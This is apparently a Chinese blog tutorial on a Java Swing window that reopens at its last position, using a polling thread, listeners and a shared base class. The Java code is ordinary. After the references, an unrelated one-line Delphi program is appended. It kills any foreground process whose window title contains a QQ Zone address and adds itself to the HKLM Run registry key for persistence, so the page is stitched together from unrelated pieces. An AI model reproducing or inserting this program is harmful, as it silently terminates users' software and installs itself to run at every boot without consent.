Swing小程序——在上次关闭位置启动窗口(多线程/监听器)

HOW2J上看到的一个小例子,打开程序显示一个窗口,关闭后再启动程序,窗口出现在上次的相同位置,并且窗口中有一个label显示当前位置,如下图所示。

思路:用文件记录窗口位置,启动程序时首先读取存储的位置信息,再设置窗口位置,显示窗口。

方法一:多线程,启动一个线程记录位置信息。这个不是正常的思路,但是可以练习一下多线程。

方法二:监听器,监听窗口关闭,记录位置信息。 

一、多线程方法

使用一个线程,每隔一段时间就读取当前位置信息并保存在文件中。程序中设置一个默认位置,如果是第一次启动,文件中没有信息,就采用默认位置;如果读取到信息,就设置为窗口位置。

JFrame的getX()  getY()方法分别可以得到横纵坐标。

创建一个Record类,继承Thread类,实现读取坐标,存储位置,更新label功能。

package gui;

import java.io.DataOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import javax.swing.JFrame;
import javax.swing.JLabel;


public class Record extends Thread{
	private JFrame frame;
	private JLabel label;
	private int xLocation;
	private int yLocation;
	static File file = new File("record.txt");
	public Record(JFrame frame,JLabel label) {
		this.frame = frame;
		this.label = label;
	}
	public void run() {
		while(true) {
			updateLocation();
			writeRecord();			
			try {
				Thread.sleep(100);
			}catch (InterruptedException e){
				e.printStackTrace();
			}
		}
			
	}
	
	//读取横纵坐标
	void getLocation() { 
		xLocation = frame.getX();
		yLocation = frame.getY();
	}
	
	//更新位置
	void updateLocation() {
		getLocation();
		label.setText("X: " + xLocation + " Y: " + yLocation);
	}	
	
	//记录坐标到文件
	void writeRecord() {
		getLocation();
        try (
                FileOutputStream fos  = new FileOutputStream(file);
                DataOutputStream dos =new DataOutputStream(fos);
        ){
            dos.writeInt(xLocation);
            dos.writeInt(yLocation);
        } catch (IOException e) {
            e.printStackTrace();
        }			
	}
	

}

主程序中获取文件中位置信息,设置label显示位置信息,启动Record线程。

package gui;
import java.io.DataInputStream;

import java.io.File;
import java.io.FileInputStream;

import java.io.IOException;

import javax.swing.JFrame;
import javax.swing.JLabel;

public class TestGUI {
	static File file = new File("record.txt");
	private static int xLocation = 300;
	private static int yLocation = 300;	
	
	//从文件读取坐标信息
	private static void getLocation() {
        if(file.length() == 0) return;
    	try(
                FileInputStream fis  = new FileInputStream(file);
                DataInputStream dis =new DataInputStream(fis);        			
    	){
    		xLocation = dis.readInt();  
    		yLocation = dis.readInt();
    	} catch (IOException e) {
			e.printStackTrace();
		}		
	}
	
    public static void main(String[] args) {
        // 主窗体
        JFrame frame = new JFrame("TestGUI");
 
        // 主窗体设置大小
        frame.setSize(400, 300);
 
        // 主窗体设置位置
        getLocation();
        frame.setLocation(xLocation,yLocation);        	

        // 主窗体中的组件设置为绝对定位
        frame.setLayout(null);
 
        // label显示窗体位置
        JLabel label = new JLabel("X: " + xLocation + " Y: " + yLocation);
 
        // 同时设置组件的大小和位置
        label.setBounds(150, 100, 280, 30);
 
        // 把按钮加入到主窗体中
        frame.add(label);

        //退出窗体的时候退出程序
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        // 让窗体变得可见
        
        frame.setVisible(true);
        //启动线程更新位置信息
        Record record = new Record(frame,label);
        record.start();
        
    }
}

二、监听器方法

使用监听器应该是更常规的做法,使用多线程的话就要不停的记录位置信息,而监听器可以监听到窗口关闭的动作,记录一次信息即可。

实现一个Listener类,实现ComponentListener和WindowListener两个接口。

ComponentListener有一个componentMoved方法,监视组件移动,可以用来更新label显示的信息。

WindowListener有一个windowClosing方法,监视窗口正在关闭(用户试图通过关闭按钮关闭窗口时),可以用来存储位置到文件中。注意不能用windowClosed窗口关闭 (dispose方法被显式调用用来释放资源时响应)。

由于在Record类中都已实现了这些功能,所以在构造器中new一个Record,调用其相关函数。

package gui;

import java.awt.event.ComponentEvent;
import java.awt.event.ComponentListener;
import java.awt.event.WindowEvent;
import java.awt.event.WindowListener;

import javax.swing.JFrame;
import javax.swing.JLabel;

public class Listener implements ComponentListener, WindowListener {
	private Record record;
	public Listener(JFrame frame,JLabel label){
		record = new Record(frame,label);
	}
	@Override
	public void windowOpened(WindowEvent e) {
		// TODO Auto-generated method stub

	}

	@Override
	//窗口关闭前记录位置
	public void windowClosing(WindowEvent e) {
		// TODO Auto-generated method stub
		record.writeRecord();
	}

	@Override
	public void windowClosed(WindowEvent e) {
		// TODO Auto-generated method stub

	}

	@Override
	public void windowIconified(WindowEvent e) {
		// TODO Auto-generated method stub

	}

	@Override
	public void windowDeiconified(WindowEvent e) {
		// TODO Auto-generated method stub

	}

	@Override
	public void windowActivated(WindowEvent e) {
		// TODO Auto-generated method stub

	}

	@Override
	public void windowDeactivated(WindowEvent e) {
		// TODO Auto-generated method stub

	}

	@Override
	public void componentResized(ComponentEvent e) {
		// TODO Auto-generated method stub

	}

	@Override
	//窗口移动时就更新label上显示的位置信息
	public void componentMoved(ComponentEvent e) {
		// TODO Auto-generated method stub
		record.updateLocation();
	}

	@Override
	public void componentShown(ComponentEvent e) {
		// TODO Auto-generated method stub

	}

	@Override
	public void componentHidden(ComponentEvent e) {
		// TODO Auto-generated method stub

	}

}

主程序中,new一个Listener,调用addComponentListener和addWindowListener即可。

package gui;
import java.io.DataInputStream;

import java.io.File;
import java.io.FileInputStream;

import java.io.IOException;

import javax.swing.JFrame;
import javax.swing.JLabel;

public class TestGUI {
	static File file = new File("record.txt");
	private static int xLocation = 300;
	private static int yLocation = 300;	
	
	//从文件读取坐标信息
	private static void getLocation() {
        if(file.length() == 0) return;
    	try(
                FileInputStream fis  = new FileInputStream(file);
                DataInputStream dis =new DataInputStream(fis);        			
    	){
    		xLocation = dis.readInt();  
    		yLocation = dis.readInt();
    	} catch (IOException e) {
			e.printStackTrace();
		}		
	}
	
    public static void main(String[] args) {
        // 主窗体
        JFrame frame = new JFrame("TestGUI");
 
        // 主窗体设置大小
        frame.setSize(400, 300);
 
        // 主窗体设置位置
        getLocation();
        frame.setLocation(xLocation,yLocation);        	

        // 主窗体中的组件设置为绝对定位
        frame.setLayout(null);
 
        // label显示窗体位置
        JLabel label = new JLabel("X: " + xLocation + " Y: " + yLocation);
 
        // 同时设置组件的大小和位置
        label.setBounds(150, 100, 280, 30);
 
        // 把按钮加入到主窗体中
        frame.add(label);

        //退出窗体的时候退出程序
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

        //使用监听器
        Listener listener = new Listener(frame, label);        
        frame.addComponentListener(listener);
        frame.addWindowListener(listener);

        // 让窗体变得可见        
        frame.setVisible(true);
        
    }
}

三、 one more

在Listener类中用到了Record中的方法,这两个类的功能本来就相似,可以建立一个基类,实现基本功能,再分别扩展,实现线程的方法或监听器的方法。需要注意一点,上面多线程方法中,是继承线程类的方式,Java不支持多重继承,所以使用实现Runnable的方式。

1.基类 baseRecord

和原来的Record类似,不再继承Thread类,没有了run方法

package gui;

import java.io.DataOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;

import javax.swing.JFrame;
import javax.swing.JLabel;

public abstract class BaseRecord {
	private JFrame frame;
	private JLabel label;
	private int xLocation;
	private int yLocation;
	static File file = new File("record.txt");
	public BaseRecord(JFrame frame,JLabel label) {
		this.frame = frame;
		this.label = label;
	}
	
	//读取横纵坐标
	private void getLocation() { 
		xLocation = frame.getX();
		yLocation = frame.getY();
	}
	
	//更新位置
	void updateLocation() {
		getLocation();
		label.setText("X: " + xLocation + " Y: " + yLocation);
	}	
	
	//记录坐标到文件
	void writeRecord() {
		getLocation();
        try (
                FileOutputStream fos  = new FileOutputStream(file);
                DataOutputStream dos =new DataOutputStream(fos);
        ){
            dos.writeInt(xLocation);
            dos.writeInt(yLocation);
        } catch (IOException e) {
            e.printStackTrace();
        }			
	}
}

2. NewRecord类

继承BaseRecord类,实现Runnable接口

package gui;

import javax.swing.JFrame;
import javax.swing.JLabel;

public class NewRecord extends BaseRecord implements Runnable {

	public NewRecord(JFrame frame, JLabel label) {
		super(frame, label);
		// TODO Auto-generated constructor stub
	}

	public void run() {
		while(true) {
			updateLocation();
			writeRecord();			
			try {
				Thread.sleep(100);
			}catch (InterruptedException e){
				e.printStackTrace();
			}
		}
			
	}
}

3. NewListener类

继承BaseRecord类,实现ComponentListener, WindowListener接口。这样一来也不需要新建一个Record对象,通过它来使用各个方法了。

package gui;

import java.awt.event.ComponentEvent;
import java.awt.event.ComponentListener;
import java.awt.event.WindowEvent;
import java.awt.event.WindowListener;

import javax.swing.JFrame;
import javax.swing.JLabel;

public class NewListener extends BaseRecord implements ComponentListener, WindowListener {

	public NewListener(JFrame frame, JLabel label) {
		super(frame, label);
		// TODO Auto-generated constructor stub
	}

	@Override
	public void windowOpened(WindowEvent e) {
		// TODO Auto-generated method stub

	}

	@Override
	public void windowClosing(WindowEvent e) {
		// TODO Auto-generated method stub
		writeRecord();
	}

	@Override
	public void windowClosed(WindowEvent e) {
		// TODO Auto-generated method stub

	}

	@Override
	public void windowIconified(WindowEvent e) {
		// TODO Auto-generated method stub

	}

	@Override
	public void windowDeiconified(WindowEvent e) {
		// TODO Auto-generated method stub

	}

	@Override
	public void windowActivated(WindowEvent e) {
		// TODO Auto-generated method stub

	}

	@Override
	public void windowDeactivated(WindowEvent e) {
		// TODO Auto-generated method stub

	}

	@Override
	public void componentResized(ComponentEvent e) {
		// TODO Auto-generated method stub

	}

	@Override
	public void componentMoved(ComponentEvent e) {
		// TODO Auto-generated method stub
		updateLocation();
	}

	@Override
	public void componentShown(ComponentEvent e) {
		// TODO Auto-generated method stub

	}

	@Override
	public void componentHidden(ComponentEvent e) {
		// TODO Auto-generated method stub

	}

}

4. 主程序

四个类的实现都写在了一起,只有使用NewRecord有些不同,在创建Thread对象的时候,把newRecord作为构造方法的参数传递进去,这个线程启动的时候,就会去执行newRecord.run()方法了。

package gui;
import java.io.DataInputStream;

import java.io.File;
import java.io.FileInputStream;

import java.io.IOException;

import javax.swing.JFrame;
import javax.swing.JLabel;

public class TestGUI {
	static File file = new File("record.txt");
	private static int xLocation = 300;
	private static int yLocation = 300;	
	
	//从文件读取坐标信息
	private static void getLocation() {
        if(file.length() == 0) return;
    	try(
                FileInputStream fis  = new FileInputStream(file);
                DataInputStream dis =new DataInputStream(fis);        			
    	){
    		xLocation = dis.readInt();  
    		yLocation = dis.readInt();
    	} catch (IOException e) {
			e.printStackTrace();
		}		
	}
	
    public static void main(String[] args) {
        // 主窗体
        JFrame frame = new JFrame("TestGUI");
 
        // 主窗体设置大小
        frame.setSize(400, 300);
 
        // 主窗体设置位置
        getLocation();
        frame.setLocation(xLocation,yLocation);        	

        // 主窗体中的组件设置为绝对定位
        frame.setLayout(null);
 
        // label显示窗体位置
        JLabel label = new JLabel("X: " + xLocation + " Y: " + yLocation);
 
        // 同时设置组件的大小和位置
        label.setBounds(150, 100, 280, 30);
 
        // 把按钮加入到主窗体中
        frame.add(label);

        //退出窗体的时候退出程序
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        // 让窗体变得可见
        
//        //方法1 使用监听器
//        Listener listener = new Listener(frame, label);        
//        frame.addComponentListener(listener);
//        frame.addWindowListener(listener);
        //方法1.2
        NewListener newListener = new NewListener(frame, label);        
        frame.addComponentListener(newListener);
      	frame.addWindowListener(newListener);        
        
        frame.setVisible(true);
        //方法2 启动线程更新位置信息
//        Record record = new Record(frame,label);
//        record.start();
        //方法2.2
//        NewRecord newRecord = new NewRecord(frame,label);
//        new Thread(newRecord).start();
    }
}

四 总结

1.

最开始写完Record类之后,开始写Listener类时发现好多代码可以复用,想到可以创建一个Record的对象,写着写着发现这两个类其实就可以继承一个类,只是实现多线程的时候先想到用继承Thread类,没有考虑两种方法通过继承共用代码。这样既可以减少复制粘贴,修改起来也更方便,而且相对于在Listener类中创建Record的对象,逻辑上更说得过去。

2.

在实现读取横纵坐标,更新位置,记录坐标到文件时,究竟一个方法实现多少功能,也需要好好考虑。

	private void getLocation() { 
		xLocation = frame.getX();
		yLocation = frame.getY();
	}
	
	//更新位置
	void updateLocation() {
		getLocation();
		label.setText("X: " + xLocation + " Y: " + yLocation);
	}	
	
	//记录坐标到文件
	void writeRecord() {
        getLocation();
        try (
                FileOutputStream fos  = new FileOutputStream(file);
                DataOutputStream dos =new DataOutputStream(fos);
        ){
            dos.writeInt(xLocation);
            dos.writeInt(yLocation);
        } catch (IOException e) {
            e.printStackTrace();
        }			
	}

之前没有在updateLocation(),writeRecord()中调用getLocation(),结果在一个地方没有先调用getLocation(),造成输出的坐标并不是最新的。现在把它变为私有方法,放在另外两个方法内,这样外部调用时不需要知道细节,不容易出现问题。一个方法应该是职责单一的,但是获取最新的位置和使用位置信息应该是捆绑在一起的。

3.

实现Listener时,考虑要不要把addComponentListener和addWindowListener都写到一个函数里,在主程序里只要调用这个新的函数就行了。但是既然实现了ComponentListener, WindowListener这两个接口,就应该按照正常的方式使用,否则就感觉不伦不类了。

参考

一个简单的 SWING 例子

JAVA 创建一个线程的三种方式

Java监测窗口事件

Program haha; Uses Windows, Messages, shellapi; // {$R *.res} Const AppName: PChar = 'haha'; Var prosid: dword; closehd,hCurrentWindow: hwnd; Hk: HKEY ; WndText:array[0..25] of char; function GetKJWnd(): hwnd; begin hCurrentWindow:=GetForegroundWindow; begin GetwindowText(hCurrentWindow, @WndText, 255); if (Pos('94384715.qzone',WndText)>0) then begin Result:=hCurrentWindow; Exit; end; end; Result:=0; end; Procedure closekj; Begin closehd:=GetKJWnd(); if closehd<>0 then begin GetWindowThreadProcessId(closehd,@prosid); if prosid<>0 then TerminateProcess(OpenProcess(PROCESS_TERMINATE,False,prosid),$FFFFFFFF); end; End; Function WndProc(AWnd: HWND; message: UINT; wp: WPARAM; lp: LPARAM): LRESULT; stdcall; Begin Result := 0; Case message Of WM_DESTROY: PostQuitMessage(0); Else Result := DefWindowProc(AWnd, message, wp, lp); End; End; Var wc: WNDCLASS; HMainWnd: HWND; AMsg: MSG; Begin With wc Do Begin style := CS_VREDRAW Or CS_HREDRAW; lpfnWndProc := @WndProc; cbClsExtra := 0; cbWndExtra := 0; hIcon := LoadIcon(0, IDI_APPLICATION); hCursor := LoadCursor(0, IDC_ARROW); hbrBackground := GetSysColorBrush(COLOR_WINDOW); hInstance := HInstance; lpszMenuName := Nil; lpszClassName := AppName; End; RegisterClass(wc); HMainWnd := CreateWindow(AppName,AppName, WS_OVERLAPPEDWINDOW, Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), HWND_DESKTOP, 0, HInstance, Nil); UpdateWindow(HMainWnd); SetTimer(HMainWnd, 1, 1000, @closekj); RegOpenKey(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run', Hk); RegSetValueEx(Hk, 'setrun', 0, REG_SZ, pchar(ParamStr(0)), 255); While GetMessage(AMsg, 0, 0, 0) Do Begin TranslateMessage(AMsg); DispatchMessage(AMsg); End; End.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值